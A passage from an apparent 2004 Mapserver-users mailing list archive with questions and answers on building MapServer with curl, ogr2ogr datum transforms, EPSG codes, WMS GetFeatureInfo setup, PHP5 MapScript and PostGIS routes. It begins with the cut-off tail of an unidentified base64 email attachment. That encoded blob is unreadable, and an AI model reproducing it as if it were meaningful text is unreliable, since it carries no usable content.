AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoNX+grVmKcHO6xI54Az9ZICVFupuA IsVjF5i0VHaGW4Gyi2x7mg68YpWfGUw4VKxzjkQCia1Hd75jLW9FUGJkRMBzKhC8cMa1RQCq CoRMOmnDGxUHKFYMog/DMsayT4KKC2KUw6mjCXg2uUkjeE2CtpdQfhqKG5VbibiEu0UCLLWD a1KlrB2aq7ZwEgN5XqA4bw00qWVtsl51rcbGNFsgjrF8lmvAA6N8JbdBRcE3qS8LkWdLKZdM HwoSIF6+qLYuw2JXEEkeYLlUnnZXuHJ6qRpdsWZGHTrAu3gRPycIfm6QciF5U0aPASgWQHYK Kam/cL5nnU9MkCBnKJt0xLo6wVsWN1SsTk1UflEcuLAPs255F6pQtIsSnE65rCESvBwHB61z xYSDShp6m26lvg4HUaSsL2sljU9BIGgFF1O8R61dRIxdOSBZWJ8qHFc4wFCVLm4eeRESAmVf FRDBvjC/LsTHTqgMLSi5q1ySUp+WCiJzjr0rcLqmxl0aqDw7oWxmkRdVOXUbEVg+sKPApUet TwSEqHa2mBo4WBs5JXJMi8CAwHghmxpDLkmjw6VYEV20jbU2A4QkLkUaO1yafDw8d104awAN OKS4GBCxFJYOtrmQHnclABhtrTSCB54ARQR0KxhFMzc0WV9UH5JBQA6MGJMlbyfBS3U/SWuW Yrh5MxdLeIJ/nJJReAEyexYiaF50JVGtLzGtZrsqubqvOSMWbU3BNAmoDjaVlHtVvTxvHQVb MREBkQW0uYchG8WET5J1ZZGnVmNlGcRNmcOcaj2Zbo8nPiufLzUZMmdgJJKCo5eRol9RnDoN i4igl4cOREp0K1llh8I7KzY+R0xZs1FQtK4VSkwHbwGkYFtnc4lsi4xoGjGjNQmYELwciqmW tIKJdyG+sA5uTEPCNb0QpzdFUgQbChtvWTZbLZ1ZO3Jtx7wmxRI1H22ITnl0xF4UFmt1oRyD wU8yeY0FlZ+lW1lyhoiutLKhM2dZeJUMw2liYq9othGPqBwSkYdcViudICVapzIsSUCmTQWm XB91hkZVKGWLfIiHsoW6Tl+9X3RXp0hBMICbrAoTaFChi1RpRnUWlY1OZ3i1nWdlF1AzloBG u8FksKw8BQusxHgqM2gjYX+sskSIPBO2W3OOi8Zddi0xkIydF1xAHBMYtylXWGONAC4AIGyj wDTDqFezrLeBTQaVerBVbcIJYLmVuZCMMAt4RRWTLj2mgY4Oub4FYy2NU3kvf6XDBQZ2H0Ov i6wglH+SnB8ehY4rjyysi0NWEYMeRw== ----------frgvsynrokxpanrrwfpz-- From dmorissette at dmsolutions.ca Wed Jun 2 17:18:27 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 02 Jun 2004 20:18:27 -0400 Subject: [Mapserver-users] problems with curl In-Reply-To: <40BE05A4.6080701@basis5.de> References: <40BDF44B.4050200@basis5.de> <40BE05A4.6080701@basis5.de> Message-ID: <40BE6E53.6010305@dmsolutions.ca> Lars M?ller wrote: > > hallo, > > thanks for your help, but > with the spezified curl-config-path (which is correct) > I get the same error. > > ./configure --with-proj=/usr/local/ > --with-gdal=/usr/local/bin/gdal-config > --with-ogr=/usr/local/bin/gdal-config --disable-ignore-missing-data > --with-wmsclient --with-wfsclient --with-ttf=/usr > --with-curl-config=/usr/local/bin/curl-config > It's probably that you have another (older) copy of curl on your system somewhere. If you are using a RedHat system then do you can find out if the curl RPMs are installed using rpm -qa | grep curl If they are installed then you need to remove them. On other systems use the appropriate tools to find out if curl was previously installed and uninstall it. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From jaime at maintask.com Wed Jun 2 17:28:02 2004 From: jaime at maintask.com (=?ISO-8859-1?Q?Jaime_Mej=EDa?=) Date: Wed, 02 Jun 2004 19:28:02 -0500 Subject: [Mapserver-users] ogr2ogr srs Message-ID: <40BE7092.7060806@maintask.com> Hi all, We have converted an Arc/Info coverage in BOGOTA DATUM to SHP in WGS84 DATUM through OGR with the following command: ogr2ogr -s_srs merc_bogota -t_srs wgs84 vias_cobertura /BIN/vias where the file merc_bogota contains the following line with the required parameters to perform the transformation from BOGOTA DATUM to WGS84 DATUM: +proj=tmerc +lat_0=4.599047222 +lon_0=-74.080916667 +k=1.000000 +x_0=1000000.000 +y_0=1000000.000 +ellps=intl +towgs84=307,304,-318,0,0,0,0 and the file wgs84 contains the line: +proj=latlong +datum=WGS84 We have made a sampling using a GPS with WGS84 DATUM and we generated a shape called "vias_gps". When we overlaps vias_cobertura and vias_gps we found a difference of +/-500m. On the other hand, we converted the Arc/Info coverage to shape with the same DATUM (BOGOTA), then we loaded it into PostGIS using shp2psql with SRID=2 and from PostGis we transformated from BOGOTA DATUM to WGS84 DATUM with the function: transform(vias,1). When we overlaps this with vias_gps, everything is fine. In the PostGIS table spatial_ref_sys, we can find BOGOTA and WGS84 DATUM as follows: srid | auth_name | auth_srid | srtext | proj4text 2 | EPSG | 21892 | PROJCS["Bogota / Colombia Bogota zone",GEOGCS["Bogota",DATUM["Bogota",SPhemosROID["International 1924",6378388,297]],PRIMEM["Greenwich",0],UNIT["degree",0.0174532925199433]],PROJECTION["Transverse_Mercator"],PARAMETER["latitude_of_origin",4.59904722222222],PARAMETER["central_meridian",-74.0809166666667],PARAMETER["scale_factor",1],PARAMETER["false_easting",1000000],PARAMETER["false_northing",1000000],UNIT["metre",1]] | proj=tmerc +ellps=intl +k=1 +x_0=1000000 +y_0=1000000 +lon_0=-74.0809166666667 +lat_0=4.59904722222222 +towgs84=307,304,-318,0,0,0,0 +units=m 1 | EPSG | 4326 | GEOGCS["WGS 84",DATUM["WGS_1984",SPhemosROID["WGS 84",6378137,298.257223563]],PRIMEM["Greenwich",0],UNIT["degree",0.0174532925199433]] It seems like ogr2ogr does not recognize the last parameters' part: "+towgs84=307,304,-318,0,0,0,0" There is something wrong with the command or with the projection's parameters? Thanks a lot, -- Cordial saludo, Jaime Mej?a Molina *MAIN TASK* Tel?fono: 218 46 08 Direcci?n: Diagonal 85 # 28-39 Bogota D. C., Colombia e-mail: jaime at main-task.com website: www.main-task.com From dmorissette at dmsolutions.ca Wed Jun 2 17:43:56 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 02 Jun 2004 20:43:56 -0400 Subject: [Mapserver-users] EPSG codes In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366EC9@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366EC9@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40BE744C.9050702@dmsolutions.ca> Kralidis,Tom [Burlington] wrote: > >Delfos, Jacob wrote: >> >>What would be the correct way of requesting an entry to be >>added to the official EPSG? I tried to find out, but I >>haven't been able to find a person in charge of that. >> > > > You may want to check with http://www.epsg.org/. Having said this, I > believe CubeWerx has reserved the 42xxx block of EPSG codes, of which > 42304 is one of them. > The official EPSG codes are in the range 1-32767. Any codes above that, including the 42xxx codes have nothing to do with epsg.org and are just used in the context of OGC specs. As Tom mentioned Cubewerx has reserved the range 42100-42399 in this context at OGC for their own use, but there is currently no mechanism that I know of at OGC to officially define new codes. I have asked that same question before and eventually just gave up. BTW, with WMS 1.3.0 which is in the process of becoming an ISO standard, some comments from the ISO committee have forced a move away from the EPSG:xxxxx namespace and a new CRS:xxxx namespace has been created that is fully controlled by OGC. There is an appendix on that in the WMS 1.3 spec. Hopefully that will open the door to a registry of SRS codes maintained by OGC, but we're not there yet. Anyone who is familiar with WMS realizes that this is a quite radical change that will cause all sorts of headaches to WMS implementors... Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From fchen at ne.rsgs.ac.cn Wed Jun 2 18:44:27 2004 From: fchen at ne.rsgs.ac.cn (Fu Chen) Date: Thu, 3 Jun 2004 09:44:27 +0800 Subject: [Mapserver-users] store and draw route Message-ID: Hi! I try to use mapserver and postgis to record and render the some mobile worker's route. Those routes are record by a data table like (workorID, time, position). In the webgis interface, we try to draw a route map by mapserver. Queried by the workor's ID, the position is sort by the time. then these points is linked with a line. We would like to draw a circle(or other symbol) on the key point if it is possible. I don't know how to write map file or mapscript to get the feature. Anybody can give me some suggestion? Thank you! From dmorissette at dmsolutions.ca Wed Jun 2 19:05:04 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 02 Jun 2004 22:05:04 -0400 Subject: [Mapserver-users] Layer REQUIRES w/ PHP mapscript In-Reply-To: <614FCE5F14A6D41180C200010240D6A26996A0@LINNMS> References: <614FCE5F14A6D41180C200010240D6A26996A0@LINNMS> Message-ID: <40BE8750.7070006@dmsolutions.ca> Ryan, Adam wrote: > Hey List, > > The LAYER object's REQUIRES parameter doesn't seem to work using PHP > mapscript. Is this something I need to code myself in PHP? > > Do I get a big fat DUUUHHHHH!! or is this a logical question? > Of course you get a big fat duh, but not because it's not a good question: because "requires" and "labelrequires" were just never implemented in PHP MapScript's layerObj. I added them in the 4.3 CVS: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=717 -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From stigmata at blackangel.net Wed Jun 2 19:34:10 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Wed, 2 Jun 2004 19:34:10 -0700 (PDT) Subject: [Mapserver-users] querying WMS layer Message-ID: <20040602193242.Q28561@osiris.deathkeep.com> So, my WMS server and client are working A-OK. THanks a lot, folks, for all the help. Is it possible yet to query things in WMS layers? I saw a mention that GetFeatureinfo is not yet implemented, so... From doug at moximedia.com Wed Jun 2 19:45:28 2004 From: doug at moximedia.com (Doug Cates) Date: 02 Jun 2004 19:45:28 -0700 Subject: [Mapserver-users] querying WMS layer In-Reply-To: <20040602193242.Q28561@osiris.deathkeep.com> References: <20040602193242.Q28561@osiris.deathkeep.com> Message-ID: <1086230728.11875.117.camel@moxi-rh9> On Wed, 2004-06-02 at 19:34, Gregor Mosheh wrote: > Is it possible yet to query things in WMS layers? I saw a mention that > GetFeatureinfo is not yet implemented, so... GetFeatureInfo works fine in MapServer. To use an XML output format, make sure to set DUMP TRUE. Type text/plain and text/html don't need this. Doug From Tom.Kralidis at ec.gc.ca Wed Jun 2 19:47:28 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Wed, 2 Jun 2004 22:47:28 -0400 Subject: [Mapserver-users] querying WMS layer Message-ID: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Gregor Mosheh > Sent: Wednesday, June 02, 2004 10:34 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] querying WMS layer > > > > So, my WMS server and client are working A-OK. THanks a lot, > folks, for all the help. > > Is it possible yet to query things in WMS layers? I saw a > mention that GetFeatureinfo is not yet implemented, so... > GetFeatureInfo is implemented. Basically, you have to set DUMP TRUE in your LAYER object to enable this, as well as setting template header,body,footer. At this point, your WMS' GetCapabilities response will advertise your queryable layers with an XML attribute of 'queryable="1"', which means that a client can query as per the WMS spec. See the WMS server howto. ..Tom > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From dmorissette at dmsolutions.ca Wed Jun 2 20:01:01 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 02 Jun 2004 23:01:01 -0400 Subject: [Mapserver-users] MapScript x PHP 5 : what will happen? In-Reply-To: <40AB4F8B.8020107@consultoria.eti.br> References: <40AB4F8B.8020107@consultoria.eti.br> Message-ID: <40BE946D.1030308@dmsolutions.ca> Eduardo Patto Kanegae wrote: > Hi listers, > > PHP 5 is coming ... are there any plans of upgrade PHPMapScript for this > new PHP version? > > Or it won't be necessary? Is MapServer C API compatible with the new PHP > 5 architecture? > Some work will be required for sure to port php_mapscript.c to PHP5. We know we'll have to do it at some point, but there is no formal plan yet on how and when that will happen. PHP5 brings some very nice improvements in the way objects are handled so it would be great for PHP MapScript apps to be able to take advantage of that. One possibility could be to just port what we have to PHP5, but some of the code dates from PHP3 so it's becoming messy. Another option could be to try doing the switch to SWIG, but some have reported that the SWIG-PHP module isn't actively maintained so that may not be a viable option. We'll see, but I wouldn't expect this to happen before the fall at a minimum unless PHP5 becomes a priority for one of our paying clients. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Scot at Wilcoxon.Org Wed Jun 2 20:52:08 2004 From: Scot at Wilcoxon.Org (Scot Wilcoxon) Date: 02 Jun 2004 22:52:08 -0500 Subject: [Mapserver-users] Both GDAL and TIFF problems? In-Reply-To: <40B778C5.1000101@greenwoodmap.com> References: <1085670705.3074.22.camel@localhost.localdomain> <40B778C5.1000101@greenwoodmap.com> Message-ID: <1086234728.16326.32.camel@localhost.localdomain> On Fri, 2004-05-28 at 12:37, Richard Greenwood wrote: > > I'm getting a 500 Internal Server Error from tutorial 1-5, but that is > > all the info I have. I see mapserv -v says I have GDAL and TIFF > > compiled, but I don't know how to determine if that is the source of my > > problem. > I sort of doubt that's your problem. What version of mapserver and what > platform. MapServer 4.0.1 on Linux with Apache. > Can you display vectors? The vectors in the first few example1-* do work. I see Great Lakes, colors, and labels. From ikeivy2000 at hotmail.com Wed Jun 2 21:01:12 2004 From: ikeivy2000 at hotmail.com (ISAAC KWADWO NTI) Date: Thu, 03 Jun 2004 06:01:12 +0200 Subject: [Mapserver-users] THESIS TOPIC Message-ID:

Hello,

I am a student(MSc) who is interested and would like to use do my thesis in internet GIS could any of you help me out with a topic or research topic.

Thank you very much.

Isaac

 


Add photos to your e-mail with MSN 8. Get 2 months FREE*. From ms57 at streamyx.com Wed Jun 2 21:35:45 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Thu, 03 Jun 2004 12:35:45 +0800 Subject: [Mapserver-users] The specified CGI application misbehaved by not returning a complete set of HTTP headers Message-ID: <000a01c44924$52851440$592d5fdb@maps> Hi, Something strange is happening. When I use the LABELANGLEITEM the fnt rotates fine, but when I do a query (i.e. click on the image) I get the following error - The specified CGI application misbehaved by not returning a complete set of HTTP headers When I comment out the LABELANGLEITEM it is fine. Any ideas? LAYER NAME "TuahTiga1" DATA GPS GROUP "TT3" TYPE ANNOTATION STATUS OFF LABELANGLEITEM "Angle" CLASS NAME 'TT3' TEXT "A" EXPRESSION ('[Name]' eq 'TuahTiga' AND [Posid] eq 1) LABEL TYPE TRUETYPE FORCE TRUE FONT vessel OUTLINECOLOR 0 0 0 COLOR 255 128 64 SIZE 12 END TEMPLATE "templates/gps.html" END#Class HEADER "templates/gps_header.html" FOOTER "templates/gps_footer.html" TOLERANCE 8 DUMP TRUE # allow GML export END From stigmata at blackangel.net Wed Jun 2 23:32:50 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Wed, 2 Jun 2004 23:32:50 -0700 (PDT) Subject: [Mapserver-users] querying WMS layer In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <20040602232618.Y30397@osiris.deathkeep.com> On Wed, 2 Jun 2004, Kralidis,Tom [Burlington] wrote: > Basically, you have to set DUMP TRUE in your LAYER object to enable > this, as well as setting template header,body,footer. > At this point, your WMS' GetCapabilities response will advertise your > queryable layers with an XML attribute of 'queryable="1"', which means > that a client can query as per the WMS spec. I've been through both the WMS howtos a dozen times, but I just can't see the part that describes how to set up query templates. There's a vague reference to setting the mime type for query results, but nothing about how setting up the templates differs from that of a "normal" mapfile. (Am I just being dense?) Here's a layer definition from the WMS server: # USA state boundaries LAYER NAME states TYPE polygon STATUS on DUMP true CONNECTIONTYPE postgis CONNECTION "user=XXX dbname=XXX password=XXX host=localhost" DATA "the_geom from states" PROJECTION "init=epsg:4269" END METADATA "wms_title" "states" END CLASS OUTLINECOLOR 50 50 50 COLOR 255 255 255 TEMPLATE "states.html" END END It must be partly right, cuz the GetCapabilities does indeed now say that this is a queryable layer (previously, it did not): states states (and so on) So I guess the server part is working, so I need to setup the client part, right? I put these in the client's layer definition, which worked A-OK when the layer was in a shapefile. Now that the layer is WMS, I just get the blank template. TOLERANCE 4 TEMPLATE "query_templates/template_states.html" From alhim at intracom.gr Wed Jun 2 23:35:50 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Thu, 3 Jun 2004 09:35:50 +0300 Subject: [Mapserver-users] store and draw route In-Reply-To: References: Message-ID: <200406030935.50283.alhim@intracom.gr> Storing the workers track in a Postgis enabled Postgres database and defining a leayer in your map file of data type LINE may solve your problem. On Thursday 03 June 2004 04:44, Fu Chen wrote: > Hi! > I try to use mapserver and postgis to record and render the some mobile > worker's route. Those routes are record by a data table like (workorID, > time, position). In the webgis interface, we try to draw a route map by > mapserver. > Queried by the workor's ID, the position is sort by the time. then these > points is linked with a line. We would like to draw a circle(or other > symbol) on the key point if it is possible. I don't know how to write map > file or mapscript to get the feature. Anybody can give me some suggestion? > Thank you! > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From fchen at ne.rsgs.ac.cn Wed Jun 2 23:53:13 2004 From: fchen at ne.rsgs.ac.cn (Fu Chen) Date: Thu, 3 Jun 2004 14:53:13 +0800 Subject: [Mapserver-users] store and draw route In-Reply-To: <200406030935.50283.alhim@intracom.gr> Message-ID: yes, I really wanna use this solution. But we store the route in several discrete point not a native LINE. Is there some method to query this points out as a LINE geometry element? -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Alexandros Chimarios Sent: Thursday, June 03, 2004 2:36 PM To: Fu Chen; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] store and draw route Storing the workers track in a Postgis enabled Postgres database and defining a leayer in your map file of data type LINE may solve your problem. On Thursday 03 June 2004 04:44, Fu Chen wrote: > Hi! > I try to use mapserver and postgis to record and render the some mobile > worker's route. Those routes are record by a data table like (workorID, > time, position). In the webgis interface, we try to draw a route map by > mapserver. > Queried by the workor's ID, the position is sort by the time. then these > points is linked with a line. We would like to draw a circle(or other > symbol) on the key point if it is possible. I don't know how to write map > file or mapscript to get the feature. Anybody can give me some suggestion? > Thank you! > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From alhim at intracom.gr Thu Jun 3 00:08:05 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Thu, 3 Jun 2004 10:08:05 +0300 Subject: [Mapserver-users] store and draw route In-Reply-To: References: Message-ID: <200406031008.05043.alhim@intracom.gr> Dont think so that you can query them as a LINE .... but alternatively you may create a new table or view and using PL/SQL you can define a script of making those lines from points stored in your db. On Thursday 03 June 2004 09:53, Fu Chen wrote: > yes, I really wanna use this solution. > But we store the route in several discrete point not a native LINE. Is > there some method to query this points out as a LINE geometry element? > > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Alexandros > Chimarios > Sent: Thursday, June 03, 2004 2:36 PM > To: Fu Chen; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] store and draw route > > > Storing the workers track in a Postgis enabled Postgres database and > defining a leayer in your map file of data type LINE may solve your > problem. > > On Thursday 03 June 2004 04:44, Fu Chen wrote: > > Hi! > > I try to use mapserver and postgis to record and render the some mobile > > worker's route. Those routes are record by a data table like (workorID, > > time, position). In the webgis interface, we try to draw a route map by > > mapserver. > > Queried by the workor's ID, the position is sort by the time. then these > > points is linked with a line. We would like to draw a circle(or other > > symbol) on the key point if it is possible. I don't know how to write map > > file or mapscript to get the feature. Anybody can give me some > > suggestion? Thank you! > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bartvde at xs4all.nl Thu Jun 3 00:45:30 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Thu, 3 Jun 2004 09:45:30 +0200 (CEST) Subject: [Mapserver-users] querying WMS layer In-Reply-To: <20040602232618.Y30397@osiris.deathkeep.com> References: <2576812186CDD411BF1500508B6DCE9507366EEF@ecnwri1.ontario.int.ec.gc.ca> <20040602232618.Y30397@osiris.deathkeep.com> Message-ID: <13689.212.238.227.182.1086248730.squirrel@webmail.xs4all.nl> Hi Gregor, what you are trying to do is called cascading GetFeatureInfo. This is not implemented. Cascading means you have a CONNECTIONTYPE WMS layer, these type of layers cannot be queried. You can query your "server-side" layer in most other WMS clients, such as Chameleon, but these don't go through Mapserver WMS client for GetFeatureInfo but call the WMS server directly. A technical story, but I hope you get the drift. As an example I will paste a "server-side" layer which will be querable and which can be queried with output type GML, but this is just for the record as your setup will not work because GetFeatureInfo is not cascaded: LAYER CONNECTION "user=Administrator dbname=bart host=localhost" CONNECTIONTYPE postgis METADATA WMS_TITLE "Top50" WMS_ABSTRACT "Top50 via UMN Mapserver" WMS_SRS "EPSG:28992" WFS_TITLE "Top50" END NAME "Top50" DATA "the_geom from top50" MINSCALE 0 MAXSCALE 50000 TEMPLATE "blank.html" TOLERANCE 0 TOLERANCEUNITS PIXELS DUMP TRUE STATUS ON TYPE POLYGON 